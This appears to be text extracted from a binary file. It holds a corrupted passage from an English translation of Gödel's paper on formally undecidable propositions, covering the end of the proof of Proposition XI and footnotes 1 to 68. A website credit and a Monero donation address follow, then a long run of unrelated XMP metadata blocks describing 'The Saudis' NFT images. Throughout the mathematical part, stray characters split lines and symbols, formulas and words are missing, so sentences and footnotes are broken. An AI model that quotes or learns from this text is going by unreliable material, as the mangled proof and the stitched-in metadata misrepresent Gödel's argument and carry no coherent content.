. For these functions also the formulas (18) to (22) all hold (on replacement of 0 by a and
Owing to the correctness of (21) for
 and a, we can map the individuals of I
 in one-to-one correspondence on the natural numbers, and this in such a manner that a transforms into 0 and the function
 into the successor function
s mapping, all the functions
 transform into the functions
i, and owing to the correctness of (22) for
 and a, we get (x) [
(x) = 0], which was to be proved.[61]
Since the considerations leading to Proposition X (for every specific F) can also be carried out within the system P, the equivalence between a proposition of the form (x) F(x) ( F recursive) and the satisfiability of the corresponding r.p.c. formula is therefore provable in P, and hence the undecidability of the one fM
ollows from that of the other, whereby Proposition IX is proved.[62]
From the conclusions of Section 2 there follows a remarkable result with regard to a consistency proof of the system P (and its extensions), which is expressed in the following proposition:
Proposition XI: If c be a given recursive, consistent class[63] of formulas, then the propositional formula which states that c is consistent is not c-provable; in particular, the consistency of P is unprovable in P,[64] it being assumed that P is M
consistent (if not, of course, every statement is provable).
The proof (sketched in outline) is as follows: Let c be any given recursive class of formulas, selected once and for all for purposes of the following argument (in the simplest case it may be the null class). For proof of the fact that 17 Gen r is not c-provable,[65] only the consistency of c was made use of, as appears from Propostion VI 1.
17 Gen r is not c-provable
We now establish the following: All the concepts defined (or assertions proved) in Sections 2[66] and 4 are also expressible (or provable) in P. For we have employed throughout only the normal methods of definition and proof accepted in classical mathematics, as formalized in the system P. In particular c (like any recursive class) is dM
efinable in P. Let w be the propositional formula expressing Wid(c) in P. The relation Q(x,y) is expressed, in accordance with (8.1), (9) and (10), by the relation-string q, and Q(x,p), therefore, by r [since by (12) r = Sb(q
)] and the proposition (x) Q(x,p) by 17 Gen r.
In virtue of (24) w Imp (17 Gen r) is therefore provable in P[67] (and a fortiori c-provable). Now if w were c-provable, 17 Gen r would also be c-provable and hence it would follow, by (23), that c is not consistent.
 noted that this proof is also constructive, i.e. it permits, if a proof from c is produced for w, the actaul derivation from c of a contradiction. The whole proof of Proposition XI can also be carried over word for word to the axiom-system of set theory M, and to that of classical mathematics A,[68] and here too it yields the result that there is no consistency proof for M or for A which could be formalized in M or A respectively, it being assumed that M and A are consistent. It must be expressly noted that ProposM
ition XI (and the corresponding results for M and A) represent no contradiction of the formalistic standpoint of Hilbert. For this standpoint presupposes only the existence of a consistency proof effected by finite means, and there might conceivably be finite proofs which cannot be stated in P (or in M or in A).
Since, for every consistent class c, w is not c-provable, there will always be propositions which are undecidable (from c), namely w, so long as Neg(w) is not c-provable; in other words, one can replace M
-consistency in Proposition VI by the following: The statement
 is not c-provable. (Note that there are consistent c
s for which this statement is c-provable..
Throughout this work we have virtually confined ourselves to the system P, and have merely indicated the applications to other systems. The results will be stated and proved in fuller generality in a forthcoming sequel. In that sequel the outline proof we have given of Proposition XI will also be presented in dM
[1] Cf. the summary of the results of this work, published in Anzeiger der Akad. d. Wiss. in Wien (math.-naturw. Kl.) 1930, No. 19.
[2] A. Whitehead and B. Russell, Principia Mathematica, 2nd edition, Cambridge 1925. In particular, we also reckon among the axioms of PM the axiom of infinity (in the form: there exist denumerably many individuals), and the axioms of reducibility and of choice (for all types).
[3] Cf. A. Fraenkel,
ber die Grundlegung der MengenlehM
, Wissensch. u. Hyp., Vol. XXXI;
Die Axiomatisierung der Mengenlehre
, Math. Zeitschr. 27, 1928, Journ. f. reine u. angew. Math. 154 (1925), 160 (1929).
We may note that in order to complete the formalization, the axioms and rules of inference of the logical calculus must be added to the axioms of set-theory as given in the above-mentioned papers. The remarks that follow also apply to the formal systems presented in recent years by D. Hilbert and his colleagues (so far as these have yet bM
Cf. D. Hilbert, Math. Ann. 88, Abh. aus d. math. Sem. der Univ. Hamburg I (1922), VI (1928);
P. Bernays, Math. Ann. 90;
J. v. Neumann, Math. Zeitsehr. 26 (1927);
W. Ackermann, Math. Ann. 93.
[4] i.e. more precisely, there are undecidable propositions in which, besides the logical constants
 (or), (x) (for all) and = (identical with), there are no other concepts beyond + (addition) and . (multiplication), both referring to natural numbers, and where the prefixes (x) can also referM
 only to natural numbers.
[5] In this connection, such axioms in PM are only counted as distinct axioms where they do not arise from others purely by change of type.
[6] Here and in what follows, we shall always understand the term
 to mean a formula written without abbreviations (i.e. without use of definitions). Definitions serve only to abridge the written text and are therefore in principle superfluous.
[7] i.e. we map the basic symbols by a one-to-one correspondence onto the naturalM
 numbers (as is actually done in the section [The G
del numbering system]).
[8] i.e. a mapping of a section of the number series onto natural numbers. (Numbers cannot in fact be put into a spatial order.)
[9] In other words, the above-described procedure provides an isomorphic image of the system PM in the domain of arithmetic, and all metamathematical arguments can equally well be conducted in this isomorphic image. This occurs in the following outline proof, i.e.
, etc. are always to be understood as the corresponding objects of the isomorphic image.
[10] It would be very simple (though rather laborious) actually to write out this formula.
[11] Perhaps according to the increasing sums of their terms and, for equal sums, in alphabetical order.
 indicates negation. [The original German used a bar over a formula to indicate negation]
[12] Again there is not the slightest difficulty in actually writing out the formula S.
 what amounts to the same thing
) is merely a metamathematical description of the undecidable proposition. But as soon as one has ascertained the formula S, one can naturally also determine the number q, and thereby actually write out the undecidable proposition itself.
[14] Every epistemological antinomy can likewise be used for a similar undecidability proof.
[15] In spite of appearances, there is nothing circular about such a proposition, since it begins by asserting the unprovM
ability of a completely determinate formula (namely the qth in the alphabetical arrangement with a definite substitution), and only subsequently (and in some way by accident) does it emerge that this formula is precisely that by which the proposition was itself expressed.
[16] The addition of the Peano axioms, like all the other changes made to the system PM, serves only to simplify the proof and can in principle be dispensed with.
[17] It is assumed that for every variable type denumerably many combinations M
of symbols are available.
[18] Unhomogeneous relations could also be defined in this manner, e.g. a relation between individuals and classes as a class of elements of the form: ((x2),((x1),x2)). As a simple consideration shows, all the provable propositions about relations in PM are also provable in this fashion.
(a) is also a formula if x does not occur, or does not occur free, in a. In that case x
(a) naturally means the same as a.
[19] Regarding this definition (and similar ones oM
cf. J. Lukasiewicz and A. Tarski,
ber den Aussagenkalk
, Comptes Rendus des s
 des Sciences et des Lettres de Varsovie XXIII, 1930, Cl. 111.
[20] Where v does not occur in a as a free variable, we put Subst a(
 is a term belonging to metamathematics.
[21] As in PM I, *13, x1 = y1 is to be thought of as defined by x2
 x2(y1)) (and similarly for higher types).
[22] To obtain the axioms from M
the schemata presented (and in the cases of II, III and IV, after carrying out the permitted substitutions), one must therefore also:
1. eliminate the abbreviations.
2. add the suppressed brackets.
Note that the resultant expressions must be
 in the above sense. (Cf. also the exact definitions of the metamathematical concepts in the section [The Relations 1-46].)
[23] c is therefore either a variable or 0 or a string of the form f
 fu where u is either 0 or a variable of type 1. With regard tM
free/bound at a place in a
, cf. section I A5 of the work cited in footnote 24.
[24] The rule of substitution becomes superfluous, since we have already dealt with all possible substitutions in the axioms themselves (as is also done in J. v. Neumann,
Zur Hilbertschen Beweistheorie
, Math. Zeitschr. 26, 1927).
[25] i.e. its field of definition is the class of non-negative whole numbers (or n-tuples of such), respectively, and its values are non-negative whole numbers.
llows, small [italic] letters (with or without indices) are always variables for non-negative whole numbers (failing an express statement to the contrary). [Italics omitted in this translation]
[27] More precisely, by substitution of certain of the foregoing functions at the argument places of one of the preceding functions, e.g.
r(x2)] (p, q, r < k). Not all the variables on the left-hand side must also occur on the right (and similarly in the recursion schema (2)).
e include classes among relations (one-place relations). Recursive relations R naturally have the property that for every specific n-tuple of numbers it can be decided whether R(x1
[29] For all considerations as to content (more especially also of a metamathematical kind) the Hilbertian symbolism is used,
cf. Hilbert-Ackermann, Grundz
ge der theoretischen Logik, Berlin 1928.
[30] We use [greek] letters
, as abbreviations for given n-tuple sets of variables, e.g. x1, x2
31] We take it as evident that the functions x
y (addition) and x.y (multiplication) are recursive.
[32] a cannot take values other than 0 and 1, as is evident from the definition of
equivalence by definition
, and therefore is usable in definitions either for = or for
 [this does not appear in this translation] (otherwise the symbolism is Hilbertian).
[34] Wherever in the following definitions one of the symbols x
x occurs, it is followed bM
y a limitation on the value of x. This limitation merely serves to ensure the recursive nature of the concept defined. (Cf. Proposition IV.) On the other hand, the range of the defined concept would almost always remain unaffected by its omission.
 z, where z is the number of distinct prime numbers dividing into x. Note that for n = z
 x (and similarly for more than two variables).
[35] The bound defined by n
.[l(x)]2 is calculated as follows: The length of the shortest series of formulas belonging to x can at most be equal to the number of constituent formulas of x. There are however at most l(x) constituent formulas of length 1, at most l(x)-1 of length 2, etc. and in all, therefore, at most
 [l(x)]2. The prime numbers in n can therefore all be assumed smaller than Pr{[l(x)]2}, their number
[l(x)]2 and their exponents (which are constituent formulas of x)
[36] Where v is not a vaM
riable or x not a formula, then Sb(x
[37] Instead of Sb[Sb[x
) (and similarly for more than two variables).
[38] The variables u1
 un could be arbitrarily assigned. There is always, e.g. an r with the free variables 17, 19, 23
 etc., for which (3) and (4) hold.
[39] Proposition V naturally is based on the fact that for any recursive relation R, it is decidable, for every n-tuple of numbers, from the axioms of the systeM
m P, whether the relation R holds or not.
[40] From this it follows immediately that this is valid for every recursive relation, since any such relation is equivalent to 0 =
[41] In the precise development of this proof, r is of course defined, not indirectly by an interpretation of its content, but by its purely formal structure.
[42] Where the interpretation of the content of r expresses the existence of that corresponding relation.
[43] r is derived in fact, fromM
 the recursive relation-string q on replacement of a variable by a specific number (p).
[44] The operations Gen and Sb are naturally always commutative, wherever they refer to different variables.
 Flg(c), which by (7), states the same as Bewc(x).
[45a] Since all assertions of existence that occur in the proof are based on Proposition V, which, as can easily be seen, is intuitionistically irreproachable.
[46] Thus the existence of consistent and non
s can naturally be proved only on the assumption that a consistent class c
 exists (i.e. that P is consistent).
[47] The proof of assumption 1 is here even simpler than that for the system P, since there is only one kind of basic variable (or two for J. v. Neumann).
[48] Cf. Problem III in D. Hilbert
Probleme der Grundlegung der Mathematik
[48a] The real reason for the incompleteness inherent in all formal systems of mathematics
 as will be shown in Part II oM
 is that the formation of ever higher types can be continued into the transfinite (cf. D. Hilbert
, Math. Ann. 95, p. 184), whereas in every formal system there is at most denumerably many types. It can be shown that the undecidable propositions presented here always become decidable by the adjunction of suitable higher types (e.g. of type
 to the system P). The same applies to the axiom system of set theory.
[49] Here, and in what follows, zero is always included amonM
g the natural numbers.
[50] The definition of such a concept must therefore be constructed solely by means of the symbols stated, variables for natural numbers x,y
 and the symbols 0 and 1 (function and set variables must not occur). (Any other number-variable may naturally occur in to prefixes in place of x.
[51] It is not of course necessary that all x1
 xn should actually occur in
i [cf. the example in footnote 27].
[52] f signifies here a variable, whose domain of values consists of series of naM
tural numbers. fk denotes the k
1 th term of a series f (f0 being the first).
-consistent systems derived from P by addition of a recursively definable class of axioms.
[54] Cf. Hilbert-Ackermann, Grundz
ge der theoretischen Logik.
In the system P, formulas of the restricted predicate calculus are to be understood as those derived from the formulas of the restricted predicate calculus of PM on replacement of relations by classes of higher type, as indicated in Part 2: description M
ndigkeit der Axiome des logischen Funktionenkalk
, Monatsh. f. Math. u. Phys. XXXVII, 2, I have shown of every formula of the restricted predicate calculus that it is either demonstrable as universally valid or else that a counter-example exists; but in virtue of Proposition IX the existence of this counter-example is not always demonstrable (in the formal systems in question).
[56] D. Hilbert and W. Ackermann, in the work already cited, do not include M
the symbol = in the restricted predicate calculus. But for every formula in which the symbol = occurs, there exists a formula without this symbol, which is satisfiable if and only if the original one is (cf. the article cited in footnote 55).
[57] In fact the domain of the definition must always be the whole domain of individuals.
[58] Variables of the third kind may occur at all argument places instead of individual variables, e.g. y =
[59] i.e. forming the conjuncM
 s) represents any complex of the variables x1, x2
 xm, e.g. x1 x3 x2..
[61] From Proposition X it follows, for example, that the Fermat and Goldbach problems would be soluble, if one had solved the decision problem for the r.p.c.
[62] Proposition IX naturally holds also for the axiom system of set theory and its extensions by recursively definable
-consistent classes of axioms, since in these systems also there certainly exist undecidable propositions of the form (x) F(x) (F rM
[63] c is consistent (abbreviated as Wid(c)) is defined as follows: Wid(c) = (
[64] This follows if c is replaced by the null class of formulas.
[65] r naturally depends on c (just as p does).
[66] From the definition of
 on up to the proof of Proposition VI inclusive.
[67] That the correctness of w Imp (17 Gen r) can be concluded from (23), is simply based on the fact that
 as was remarked at the outset
 the undecidable proposition 17 Gen Mr
r asserts its own unprovability.
[68] Cf. J. v. Neumann,
Zur Hilbertschen Beweistheorie
, Math. Zeitschr. 26, 1927.
Dated November 17, 1930
From jamesrmeyer.com
Inscribed by etching.net
Support the preservation of human knowledge with Monero (XMR):
89wPeW2Do5pPLqFup75fudMhzYjE7iqorFwGouPQC7tSfckKD2AZpkGD2QEKeGHLMARvuyD66GPpLbHwRC4cA5omD2JMD6G
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Short Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>M
White Shemagh</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Classic Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesaudisnM
ft.com/4744</metadata:External_URL>
   <metadata:Name>The Saudis #4744</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>2
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Neat</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Shadow Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>BrownM
 Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Regular Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Pearwood Pipe</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://tM
oken.thesaudisnft.com/3460</metadata:External_URL>
   <metadata:Name>The Saudis #3460</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Long</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Messy Brown Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>M
Brown Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Cigarette</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesM
audisnft.com/3777</metadata:External_URL>
   <metadata:Name>The Saudis #3777</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Long</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Normal Brown Beard &amp; Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
 <metadata:Value>White Shemagh &amp; Stylish Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Classic Gold Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Shadowless Vape</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:DescriM
   <metadata:External_URL>https://token.thesaudisnft.com/4246</metadata:External_URL>
   <metadata:Name>The Saudis #4246</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>U
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Messy</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Light Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>Brown M
Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Bubble Gum</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesaudisM
nft.com/3866</metadata:External_URL>
   <metadata:Name>The Saudis #3866</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Brown Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Light Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
lue>White Shemagh</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Round Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Vape</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesaudiM
snft.com/3488</metadata:External_URL>
   <metadata:Name>The Saudis #3488</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>(
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Widow&#39;s Peak</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:ValM
ue>White Shemagh &amp; Stylish Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>VR</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Rosewood Pipe</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>M
https://token.thesaudisnft.com/3657</metadata:External_URL>
   <metadata:Name>The Saudis #3657</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>T
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Short Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Luxurious Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
a:Value>Brown Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Regular Pixel Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URLM
>https://token.thesaudisnft.com/3842</metadata:External_URL>
   <metadata:Name>The Saudis #3842</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Widow&#39;s Peak</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Sideburns</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
lue>Brown Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Big Green Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Pearwood Pipe</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URM
L>https://token.thesaudisnft.com/5145</metadata:External_URL>
   <metadata:Name>The Saudis #5145</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Brown Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Normal Brown Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
ata:Value>Red Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Big Pixel Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>httM
ps://token.thesaudisnft.com/4601</metadata:External_URL>
   <metadata:Name>The Saudis #4601</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>j
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Long</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Normal Brown Beard &amp; Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
metadata:Value>White Shemagh &amp; Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Classic Gold Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
